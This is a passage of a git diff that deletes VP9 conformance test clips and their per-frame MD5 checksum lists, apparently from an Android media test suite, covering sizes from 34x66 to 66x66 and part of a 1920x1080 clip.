-d42b721aa2242d4258d97f840fdcc901  vp90-2-02-size-34x64-34x64-0006.i420
-e876200d720cbe6e36e0ffb775c5ad6c  vp90-2-02-size-34x64-34x64-0007.i420
-453078449d8701270564086e58a1d69e  vp90-2-02-size-34x64-34x64-0008.i420
-22cb799a817d45a7591489e6faa31cb9  vp90-2-02-size-34x64-34x64-0009.i420
-628dc3f03bf5dd5cae135ad1e4b9ebf7  vp90-2-02-size-34x64-34x64-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x66.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_34x66.vp9
deleted file mode 100644
index ca90995..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x66.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_34x66_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_34x66_vp9_md5
deleted file mode 100644
index af3cde6..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_34x66_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-bf4e568217906ee4b58dc4707bee8ef6  vp90-2-02-size-34x66-34x66-0001.i420
-f823f8c7b6e47ba43215f3becd35208e  vp90-2-02-size-34x66-34x66-0002.i420
-1d986d65b502e77764428e21e77503a6  vp90-2-02-size-34x66-34x66-0003.i420
-73520382bc54d6aee165402518dd7b5d  vp90-2-02-size-34x66-34x66-0004.i420
-c84e943758f2d7e37126172728838640  vp90-2-02-size-34x66-34x66-0005.i420
-1d4b298da98e4b66b31ad6874f726aa6  vp90-2-02-size-34x66-34x66-0006.i420
-e67748eeb3c818deb8b51d321cd16a9c  vp90-2-02-size-34x66-34x66-0007.i420
-4d1514c63e669261beef9e35b04c241e  vp90-2-02-size-34x66-34x66-0008.i420
-57705e2131e2129efbc68b74a1e0459c  vp90-2-02-size-34x66-34x66-0009.i420
-681acf1b384856d6e544d8e7a79fc628  vp90-2-02-size-34x66-34x66-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x08.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_64x08.vp9
deleted file mode 100644
index cfb8189..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x08.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x08_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_64x08_vp9_md5
deleted file mode 100644
index 0b40ce8..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x08_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-d801797c94039b0a166d46e151ec912c  vp90-2-02-size-64x08-64x8-0001.i420
-161ec22caa3689b214d9ab993424584b  vp90-2-02-size-64x08-64x8-0002.i420
-499b589ecf1873e388c256ce948eabb9  vp90-2-02-size-64x08-64x8-0003.i420
-22bc77650e3df70e3e36f2a1b8d8aa71  vp90-2-02-size-64x08-64x8-0004.i420
-750e40530257a68211596a60de18bffa  vp90-2-02-size-64x08-64x8-0005.i420
-4f812a92157e7186642656b59bc28a3d  vp90-2-02-size-64x08-64x8-0006.i420
-a3f141cec127a2c2e16740b8dd4ce56a  vp90-2-02-size-64x08-64x8-0007.i420
-a5ba9959bf65ab6e254e5b359a3d59b5  vp90-2-02-size-64x08-64x8-0008.i420
-baa72b8a57277d9e9ad4b92aab04f5d1  vp90-2-02-size-64x08-64x8-0009.i420
-4cb9aebb6c9d5bd164461726de201549  vp90-2-02-size-64x08-64x8-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x10.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_64x10.vp9
deleted file mode 100644
index 243962a..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x10.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x10_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_64x10_vp9_md5
deleted file mode 100644
index acd1ed1..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x10_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-97eb5fd0599d482662eb0a1def5c5ef2  vp90-2-02-size-64x10-64x10-0001.i420
-dfdc1b61b478dcca8d411021486aa2ec  vp90-2-02-size-64x10-64x10-0002.i420
-2cf560f068bdcb9e345951739091808e  vp90-2-02-size-64x10-64x10-0003.i420
-33cacb04c0797fc7bd774251e04b7fb9  vp90-2-02-size-64x10-64x10-0004.i420
-7fca126c0542c0dcdcf769b156bd85f5  vp90-2-02-size-64x10-64x10-0005.i420
-8a46c5a48cb5bd34be8e647c127f8d61  vp90-2-02-size-64x10-64x10-0006.i420
-1ddf07562c0b7dc68ed61b8e1a09fcf0  vp90-2-02-size-64x10-64x10-0007.i420
-d75911d5eb7fc75ffc3ee40344fc7ed2  vp90-2-02-size-64x10-64x10-0008.i420
-498329c8a01d950286af11e1fcf3ac07  vp90-2-02-size-64x10-64x10-0009.i420
-7a6ec019df5f3e419d389699094f87c3  vp90-2-02-size-64x10-64x10-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x16.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_64x16.vp9
deleted file mode 100644
index 28663da..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x16.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x16_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_64x16_vp9_md5
deleted file mode 100644
index dd67756..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x16_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-a43068a364cc42619e62406dcf17ddfc  vp90-2-02-size-64x16-64x16-0001.i420
-94691f93299bbf5b6ba3022b02b3e069  vp90-2-02-size-64x16-64x16-0002.i420
-3c8fc275490b4daf63ef6d8f9b7f81f6  vp90-2-02-size-64x16-64x16-0003.i420
-96c06031f0fcad49dfed256c5c737d07  vp90-2-02-size-64x16-64x16-0004.i420
-f722d3a51790b55d070d57d3b9a53d0d  vp90-2-02-size-64x16-64x16-0005.i420
-a753b3dfe13f5778f9f054e73e512ef1  vp90-2-02-size-64x16-64x16-0006.i420
-fa12cbe6cbc38fa8a38ecbcf1af8833c  vp90-2-02-size-64x16-64x16-0007.i420
-cb42303391ef6f76f77d14d2600cce12  vp90-2-02-size-64x16-64x16-0008.i420
-e0c18bb1d4dcc8168b5fdd7c7963987e  vp90-2-02-size-64x16-64x16-0009.i420
-581b5291cb60e50326c0dfa6a2d09d8a  vp90-2-02-size-64x16-64x16-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x18.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_64x18.vp9
deleted file mode 100644
index 9fb5e37..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x18.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x18_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_64x18_vp9_md5
deleted file mode 100644
index 4a01c17..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x18_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-adf7e84a351847683f6a8dd177019e29  vp90-2-02-size-64x18-64x18-0001.i420
-8227cf283a27277fbab3d7826e340337  vp90-2-02-size-64x18-64x18-0002.i420
-a5551b16db948e395537310d12128e76  vp90-2-02-size-64x18-64x18-0003.i420
-4b57ed07dbc15de9ab6143656b2a7e8e  vp90-2-02-size-64x18-64x18-0004.i420
-a15489495f0acc41f446e9689e4142d6  vp90-2-02-size-64x18-64x18-0005.i420
-b0a0d5d3ff756e8ae19797455432755c  vp90-2-02-size-64x18-64x18-0006.i420
-094a440243d36edcdd3e9d0d070de011  vp90-2-02-size-64x18-64x18-0007.i420
-a780bd61e1abbfbb28581784531608bd  vp90-2-02-size-64x18-64x18-0008.i420
-55886a8c7aad65683aa9366a38382512  vp90-2-02-size-64x18-64x18-0009.i420
-5ae5b24383f66720a62ed1001664051f  vp90-2-02-size-64x18-64x18-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x32.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_64x32.vp9
deleted file mode 100644
index c80dcf2..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x32.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x32_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_64x32_vp9_md5
deleted file mode 100644
index 15e0b11..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x32_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-931ab6a2482c3e84bc7ef8dfbc251307  vp90-2-02-size-64x32-64x32-0001.i420
-3552a9d8470a64ed627a6dbb799b7811  vp90-2-02-size-64x32-64x32-0002.i420
-cae1863fc606a0e3df3e708b7eefdf99  vp90-2-02-size-64x32-64x32-0003.i420
-4b825a07e235c4708b12a726da8e4cdf  vp90-2-02-size-64x32-64x32-0004.i420
-0dac578ef616a13be2b9db3c0d775524  vp90-2-02-size-64x32-64x32-0005.i420
-bfd47cbab8285f301777351c8bc5553c  vp90-2-02-size-64x32-64x32-0006.i420
-f29f9a0cfeaaae3bdeb26933bc7c17dc  vp90-2-02-size-64x32-64x32-0007.i420
-c7f3a4d24dcf72ef195a402eff77d8f6  vp90-2-02-size-64x32-64x32-0008.i420
-88ede6207441a7953cf893032c353663  vp90-2-02-size-64x32-64x32-0009.i420
-258f4e86541813e3edb1fe5332ff4ab1  vp90-2-02-size-64x32-64x32-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x34.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_64x34.vp9
deleted file mode 100644
index ddd6d64..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x34.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x34_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_64x34_vp9_md5
deleted file mode 100644
index 2727525..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x34_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-68d00958a78e6252dd75d632806e2022  vp90-2-02-size-64x34-64x34-0001.i420
-f7b6266e74200a669eecd241db787ee2  vp90-2-02-size-64x34-64x34-0002.i420
-c8b88d43aee037857310edeb74bc66f4  vp90-2-02-size-64x34-64x34-0003.i420
-c6d9a52baf3ca962574bff1364fcb8dc  vp90-2-02-size-64x34-64x34-0004.i420
-b384fbf3ceef0affa69f5e81681edc6e  vp90-2-02-size-64x34-64x34-0005.i420
-cd473f0c8d1cde98153402123a3ee7cf  vp90-2-02-size-64x34-64x34-0006.i420
-c0f320a23c3e39719a3b3590fe3c2ab5  vp90-2-02-size-64x34-64x34-0007.i420
-751207d15a791728c1022f711a25cd68  vp90-2-02-size-64x34-64x34-0008.i420
-7396df89a0d88044cf7527420d193636  vp90-2-02-size-64x34-64x34-0009.i420
-b772dd247838b0c3ed12713447894323  vp90-2-02-size-64x34-64x34-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x64.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_64x64.vp9
deleted file mode 100644
index af3b43d..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x64.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x64_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_64x64_vp9_md5
deleted file mode 100644
index 9733f63..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x64_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-35f17db9076fa20368fddfa01543c746  vp90-2-02-size-64x64-64x64-0001.i420
-61cd775dfc177262da9a91d3912e6718  vp90-2-02-size-64x64-64x64-0002.i420
-8b8cf175f91425d703332b22b46c1c0e  vp90-2-02-size-64x64-64x64-0003.i420
-6041afbdd81e228f8f16384d3f9e988e  vp90-2-02-size-64x64-64x64-0004.i420
-d30bd08897b50f518920014c7fa55df9  vp90-2-02-size-64x64-64x64-0005.i420
-fb67222a183876b502f93e48bb779b70  vp90-2-02-size-64x64-64x64-0006.i420
-60830425ca1dcf3df4ee9c6cd75f066a  vp90-2-02-size-64x64-64x64-0007.i420
-3e178df858f7fcaa2552a1c5c719b5cc  vp90-2-02-size-64x64-64x64-0008.i420
-66718eb0c3981beb7c1119df8a2cd27e  vp90-2-02-size-64x64-64x64-0009.i420
-7c1912448c7756f7451888050760d73d  vp90-2-02-size-64x64-64x64-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x66.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_64x66.vp9
deleted file mode 100644
index eecb1c0..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x66.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_64x66_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_64x66_vp9_md5
deleted file mode 100644
index 1c4d7e9..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_64x66_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-88587de65acfc85ff56daac8ef5d12e6  vp90-2-02-size-64x66-64x66-0001.i420
-be41f6c788b929b5b6b27c5674f40abd  vp90-2-02-size-64x66-64x66-0002.i420
-04ab3f88ca062a6911405fd84c7e9de4  vp90-2-02-size-64x66-64x66-0003.i420
-231436e0a68d19d3882f285d38aca3fb  vp90-2-02-size-64x66-64x66-0004.i420
-1a067e147a6740bb4ce57c4184437eea  vp90-2-02-size-64x66-64x66-0005.i420
-be0c47e06c7e9439570473adf4713f5f  vp90-2-02-size-64x66-64x66-0006.i420
-a213b0611247eafab0711748c25e88a0  vp90-2-02-size-64x66-64x66-0007.i420
-b1df495aa3afb74399f91c74b527b93c  vp90-2-02-size-64x66-64x66-0008.i420
-46319f21069541e1ee1652621b957860  vp90-2-02-size-64x66-64x66-0009.i420
-313517a5721b2b14683e7eefc83e51b1  vp90-2-02-size-64x66-64x66-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x08.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_66x08.vp9
deleted file mode 100644
index 3b05d4f..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x08.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x08_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_66x08_vp9_md5
deleted file mode 100644
index 1879fe4..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x08_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-3b16847e60786706fc339abc452746ff  vp90-2-02-size-66x08-66x8-0001.i420
-365a5951cb127d6df183fe5d5000f493  vp90-2-02-size-66x08-66x8-0002.i420
-6d4bceb815ca7717c4a3f86a6670703a  vp90-2-02-size-66x08-66x8-0003.i420
-5a0a03d4788934285448c85788ae8d71  vp90-2-02-size-66x08-66x8-0004.i420
-8712f9a82d07447e7a0d0a37ddc3858d  vp90-2-02-size-66x08-66x8-0005.i420
-cff32e6c183c16962207a86d7c6cf0a0  vp90-2-02-size-66x08-66x8-0006.i420
-dc933d90f87110651d7efb39854d3d46  vp90-2-02-size-66x08-66x8-0007.i420
-d1299562a022521f0c3cb30668f83b6d  vp90-2-02-size-66x08-66x8-0008.i420
-5054254ca125d7c7e6df4001397170cd  vp90-2-02-size-66x08-66x8-0009.i420
-a6bd7c7c0b02afa8d25f911ec847c61a  vp90-2-02-size-66x08-66x8-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x10.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_66x10.vp9
deleted file mode 100644
index 32c62e4..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x10.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x10_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_66x10_vp9_md5
deleted file mode 100644
index 56a9c16..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x10_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-7cbd8c6b2fb35c0c3063cb7a379944c9  vp90-2-02-size-66x10-66x10-0001.i420
-14062e74b98bed1ca982f408bc14326c  vp90-2-02-size-66x10-66x10-0002.i420
-f6d6868d849aa74b27df1c5f40c7096e  vp90-2-02-size-66x10-66x10-0003.i420
-719c8d7e3769466ee8e3dca3f4747a0e  vp90-2-02-size-66x10-66x10-0004.i420
-a72e1a7a4c82ec09ea77f87b0e6f25aa  vp90-2-02-size-66x10-66x10-0005.i420
-a5163d142b429afa155cc2f1401a0b8a  vp90-2-02-size-66x10-66x10-0006.i420
-27762d813dd1f80d6aaed5f197124fa5  vp90-2-02-size-66x10-66x10-0007.i420
-02e94454660f3528abbde8f50e94288f  vp90-2-02-size-66x10-66x10-0008.i420
-1d57dcfa57a55d96f14cfe471aac2e0b  vp90-2-02-size-66x10-66x10-0009.i420
-7804477923c0cd067bd09ebca3529775  vp90-2-02-size-66x10-66x10-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x16.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_66x16.vp9
deleted file mode 100644
index 6a0d1ac..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x16.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x16_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_66x16_vp9_md5
deleted file mode 100644
index 2aae0a2..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x16_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-fa2f292d273c37dc2804a70d1cae1e9d  vp90-2-02-size-66x16-66x16-0001.i420
-ba75d90652c021bc7ca061352e6e94ce  vp90-2-02-size-66x16-66x16-0002.i420
-e65d9a205bd17d100e50c7b6a7ea772d  vp90-2-02-size-66x16-66x16-0003.i420
-46f9e9ff891576b9462f21d48b7b9e2b  vp90-2-02-size-66x16-66x16-0004.i420
-d23cedacf3a37cf6b2774e0b18b6b9d7  vp90-2-02-size-66x16-66x16-0005.i420
-84329f7716a6db5a7e64a68a1155bfc6  vp90-2-02-size-66x16-66x16-0006.i420
-ad62286b0e13f4e54df4445cdd4fd4e3  vp90-2-02-size-66x16-66x16-0007.i420
-4511529eb24b21eb63e280070f888642  vp90-2-02-size-66x16-66x16-0008.i420
-4e1c122df1785e0e9134c43c85082e05  vp90-2-02-size-66x16-66x16-0009.i420
-ac3a3747a00be3f9f58155648fcf9b24  vp90-2-02-size-66x16-66x16-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x18.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_66x18.vp9
deleted file mode 100644
index e2535f0..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x18.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x18_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_66x18_vp9_md5
deleted file mode 100644
index 05e3eaf..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x18_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-fda5ad9bf70a51b3a41bdcabf2cce32a  vp90-2-02-size-66x18-66x18-0001.i420
-91916fb20ad542a7a3ad276e6505f9b0  vp90-2-02-size-66x18-66x18-0002.i420
-e18e5d11aec483c76afd68f7e64415a4  vp90-2-02-size-66x18-66x18-0003.i420
-c13da01c2b6c09101bda7af93ad5fd07  vp90-2-02-size-66x18-66x18-0004.i420
-ed8d2568b2ad9c7bd980cba0d3b95cff  vp90-2-02-size-66x18-66x18-0005.i420
-e6f3cf312b69d37579e77f2e52cc936b  vp90-2-02-size-66x18-66x18-0006.i420
-e509f3682e9c4bcdb0889e044b1979b7  vp90-2-02-size-66x18-66x18-0007.i420
-acc3945e557cd7a9642f08a656444976  vp90-2-02-size-66x18-66x18-0008.i420
-44ddd03aa8f03ba393f12fc6a1b3fc17  vp90-2-02-size-66x18-66x18-0009.i420
-fdd3e68132c742d9f0cf0ea6fff2a074  vp90-2-02-size-66x18-66x18-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x32.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_66x32.vp9
deleted file mode 100644
index 445d975..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x32.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x32_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_66x32_vp9_md5
deleted file mode 100644
index 996f32b..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x32_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-013cd22aea6bfeccc8ec809abd52be5c  vp90-2-02-size-66x32-66x32-0001.i420
-0980adfb0ef879b3c960797272f025ad  vp90-2-02-size-66x32-66x32-0002.i420
-d1411ffa0429befb8c71d3ab45acee92  vp90-2-02-size-66x32-66x32-0003.i420
-6c6f825379eaf21709a45be77def7a63  vp90-2-02-size-66x32-66x32-0004.i420
-bab632ef00a080739a41c692f2b21c3a  vp90-2-02-size-66x32-66x32-0005.i420
-fc0f6045aca252f2e904730227b8f337  vp90-2-02-size-66x32-66x32-0006.i420
-c8dbea209329463bfd9238a11b8d5b17  vp90-2-02-size-66x32-66x32-0007.i420
-457247bf4186ed8459e0a1564f0e68f2  vp90-2-02-size-66x32-66x32-0008.i420
-baa55e20bd7c73960b080d8a0c8db4d5  vp90-2-02-size-66x32-66x32-0009.i420
-dc8933e8edc98cd0cfca44ae22997c62  vp90-2-02-size-66x32-66x32-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x34.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_66x34.vp9
deleted file mode 100644
index 8705e9f..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x34.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x34_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_66x34_vp9_md5
deleted file mode 100644
index ca0e251..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x34_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-6821eb3fcd1d10db32eff70468dcf9c1  vp90-2-02-size-66x34-66x34-0001.i420
-ed0094d347d9f250d46b4903cbc14801  vp90-2-02-size-66x34-66x34-0002.i420
-fd018555dc9a62b8074d46e7c0fd0b40  vp90-2-02-size-66x34-66x34-0003.i420
-05d5baf9f2e62bbeeb3809a099e84147  vp90-2-02-size-66x34-66x34-0004.i420
-7a150c265214269c08e05fe4f296122d  vp90-2-02-size-66x34-66x34-0005.i420
-9a7ae61d4bb125ee4c4ccce9cc1c3664  vp90-2-02-size-66x34-66x34-0006.i420
-5a88fd6d96dcbc4255e98dfe19ff96b8  vp90-2-02-size-66x34-66x34-0007.i420
-4192c273a46b2b196c871ead0e61ec71  vp90-2-02-size-66x34-66x34-0008.i420
-e79ebfc47e755f5db221f392c3216278  vp90-2-02-size-66x34-66x34-0009.i420
-b995c5f483a2e553baf4f66d1a47fc57  vp90-2-02-size-66x34-66x34-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x64.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_66x64.vp9
deleted file mode 100644
index c91df34..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x64.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x64_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_66x64_vp9_md5
deleted file mode 100644
index 9802722..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x64_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-929086fbb3e117bd53110b64c1ee915b  vp90-2-02-size-66x64-66x64-0001.i420
-9ed45f5e40dd2393434e14a0c0160c63  vp90-2-02-size-66x64-66x64-0002.i420
-5cdade692b1baf23e61896da18e3e44f  vp90-2-02-size-66x64-66x64-0003.i420
-11a2ebac61a3f826ec41c8031899e55c  vp90-2-02-size-66x64-66x64-0004.i420
-621a1e0142b94d14db9c2121553a11fb  vp90-2-02-size-66x64-66x64-0005.i420
-029a29590f7255f1bc9ff9b7a000ca25  vp90-2-02-size-66x64-66x64-0006.i420
-5fde42becf6bf054d04e2a0fa1b2d55e  vp90-2-02-size-66x64-66x64-0007.i420
-5b8ba552cef1931e1412fb4f3420748b  vp90-2-02-size-66x64-66x64-0008.i420
-d41cd7d418f6ec1db802a01a90cfee1e  vp90-2-02-size-66x64-66x64-0009.i420
-cea99c93a84a82edff8c6069d131453f  vp90-2-02-size-66x64-66x64-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x66.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_66x66.vp9
deleted file mode 100644
index e50c30a..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x66.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_66x66_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_66x66_vp9_md5
deleted file mode 100644
index 4cf3ed2..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_66x66_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-69f9028d52f95d2e7f986c57b19fc018  vp90-2-02-size-66x66-66x66-0001.i420
-068e611f62b3f6222f6b1699748c8fbf  vp90-2-02-size-66x66-66x66-0002.i420
-3d3fec78ff2274241a7958f17a773a19  vp90-2-02-size-66x66-66x66-0003.i420
-93d71ef1a2d00c7e70e76ccc1859143d  vp90-2-02-size-66x66-66x66-0004.i420
-5a35a640d52bc0930825b963b0b9e830  vp90-2-02-size-66x66-66x66-0005.i420
-782223239e6b1ca1bedbd25d9652a07c  vp90-2-02-size-66x66-66x66-0006.i420
-a4b5e8a319cbc9a12d3e36127c7f0fbb  vp90-2-02-size-66x66-66x66-0007.i420
-a3e2d9a78fa42b3c817aadfd31fd2d16  vp90-2-02-size-66x66-66x66-0008.i420
-e9fc6b83535735f46006f3e4b376755f  vp90-2-02-size-66x66-66x66-0009.i420
-80223f600dfe86021bd0e83fecdc4b2b  vp90-2-02-size-66x66-66x66-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_lf_1920x1080_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_lf_1920x1080_vp9_md5
deleted file mode 100644
index 557ac7a..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_lf_1920x1080_vp9_md5
+++ /dev/null
@@ -1,217 +0,0 @@
-3fb5a1b268b017332fda7fa981032c2c  vp90-2-02-size-lf-1920x1080-1920x1080-0001.i420
-7380f42c862bb0418274010f71f8291f  vp90-2-02-size-lf-1920x1080-1920x1080-0002.i420
-1931968e92c34f693582d1ae28e7a145  vp90-2-02-size-lf-1920x1080-1920x1080-0003.i420
-40606221248726f3412d8e08e489a94f  vp90-2-02-size-lf-1920x1080-1920x1080-0004.i420
-5ecd3fd1d4b607e3d84fb597a948d84b  vp90-2-02-size-lf-1920x1080-1920x1080-0005.i420
-db805d6f9289f1525c4ea594bf323fdc  vp90-2-02-size-lf-1920x1080-1920x1080-0006.i420
-7584c857279bfcf6e5e1e29557c2a6f0  vp90-2-02-size-lf-1920x1080-1920x1080-0007.i420
-bf436864c58c4d2db1d9b31ce06a8f70  vp90-2-02-size-lf-1920x1080-1920x1080-0008.i420
-9712ccf78bcddc0c44c221c2767e1f28  vp90-2-02-size-lf-1920x1080-1920x1080-0009.i420
-3071176342e59678d99dd8686336e476  vp90-2-02-size-lf-1920x1080-1920x1080-0010.i420
-92cfa56092e8e4d5269de441d31ec739  vp90-2-02-size-lf-1920x1080-1920x1080-0011.i420
-d0bc77ad1997bc38f312846a40d11a16  vp90-2-02-size-lf-1920x1080-1920x1080-0012.i420
-c656c39e3527eee973033b42d4b9deef  vp90-2-02-size-lf-1920x1080-1920x1080-0013.i420
-725ccfe5d0736997aa78f7d948692cdb  vp90-2-02-size-lf-1920x1080-1920x1080-0014.i420
-51f2245ebc2da1e3bdd0708e9d18e1eb  vp90-2-02-size-lf-1920x1080-1920x1080-0015.i420
-530c48d99fad9cddad22ee67ba4fd4d4  vp90-2-02-size-lf-1920x1080-1920x1080-0016.i420
-d55a6ebe71df8d47ac0f2b2f243f740a  vp90-2-02-size-lf-1920x1080-1920x1080-0017.i420
-aa84ff7d5dc665441376f8a75bd9bf05  vp90-2-02-size-lf-1920x1080-1920x1080-0018.i420
-70459811c09abf51e7e421656bff1939  vp90-2-02-size-lf-1920x1080-1920x1080-0019.i420
-bb69e3d69ef55a6d19506dd556168901  vp90-2-02-size-lf-1920x1080-1920x1080-0020.i420
-4f1daad761f0949509ffd9873ca03cd4  vp90-2-02-size-lf-1920x1080-1920x1080-0021.i420
-37a037e9de60b411701fda7706db37d6  vp90-2-02-size-lf-1920x1080-1920x1080-0022.i420
-09869838e806717791fe867b018d18ff  vp90-2-02-size-lf-1920x1080-1920x1080-0023.i420
-367385d264306ddd25231bb9f8681160  vp90-2-02-size-lf-1920x1080-1920x1080-0024.i420
-42c9da4939d435fcec3def2fa2bc5e26  vp90-2-02-size-lf-1920x1080-1920x1080-0025.i420
-26da302e6e86a632dfa8d8a78e83e269  vp90-2-02-size-lf-1920x1080-1920x1080-0026.i420
